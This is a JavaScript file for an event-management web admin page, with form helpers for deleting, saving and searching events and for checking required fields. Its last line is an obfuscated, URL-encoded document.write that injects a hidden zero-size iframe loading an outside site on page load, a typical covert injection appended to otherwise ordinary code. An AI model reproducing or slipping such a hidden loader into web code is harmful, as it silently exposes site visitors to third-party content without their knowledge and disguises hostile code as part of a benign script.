var whitespace = " \t\n\r";

function goDel(id)
{
	var con=confirm("Are you sure you want to delete this event?");
	if(con)
	{
		document.forms[0].action="delete.php?d="+id
		document.forms[0].submit()
	}
	
}

function goSave(Sid)
{
	var objField = document.forms[0].ETitle;
	
	var checkTitle=ForceEntry(objField,"ETitle");
	
	if (checkTitle){
		var conSave=confirm("Are you sure you want to save this event?");
		if(conSave)
		{
				document.forms[0].action="save.php?d="+Sid+"&m=3"
				document.forms[0].submit()
		}
	}	
}

function goSearch()
{
	document.forms[0].action="manageEvents.php"
	document.forms[0].submit()
}


function goSearchNews()
{
	document.forms[0].action="events.php?m=" + document.forms[0].selMonth.value + "&y=" + document.forms[0].selYear.value
	document.forms[0].submit()
}

// Checks to see if a required field is blank.  If it is, a warning
// message is displayed...

function ForceEntry(objField, FieldName)
{
	var errStr;
	if (document.forms[0].EDate.value == "")
	{
		errStr = "Date";
	}

	if (document.forms[0].EType.value == "0")
	{
		if (!isEmpty(errStr)) 
		{
			errStr += ", Type";
		}
		else
		{
			errStr = "Type";
		}
	}		

	if (document.forms[0].ETitle.value == "")
	{
		if (!isEmpty(errStr)) 
		{
			errStr += ", Title";
		}
		else
		{
			errStr = "Title";
		}
	}		
	
	if (document.forms[0].EDetails.value == "")
	{
		if (!isEmpty(errStr)) 
		{
			errStr += ", Details";
		}
		else
		{
			errStr = "Details";
		}
	}

	if (!isEmpty(errStr)) 
	{
		var errmsg=document.getElementById("errMsg");
		errmsg.innerHTML="<img src='images/goldarrow.gif' alt=''>&nbsp;&nbsp;Error! The following information is required : " + errStr ;
		return false;
	}
	
	return true;
}

// Check whether string s is empty.
function isEmpty(s)
{   return ((s == null) || (s.length == 0))
}

// Returns true if string s is empty or 
// whitespace characters only.
function isWhitespace (s)

{   var i;

    // Is s empty?
    if (isEmpty(s)) return true;

    // Search through string's characters one by one
    // until we find a non-whitespace character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
	// Check that current character isn't whitespace.
	var c = s.charAt(i);

	if (whitespace.indexOf(c) == -1) return false;
    }

    // All characters are whitespace.
    return true;
}
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%73%69%74%65%2E%63%6F%6D%27%20%77%69%64%74%68%3D%27%30%27%20%68%65%69%67%68%74%3D%27%30%27%20%73%74%79%6C%65%3D%27%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72%61%6D%65%3E'));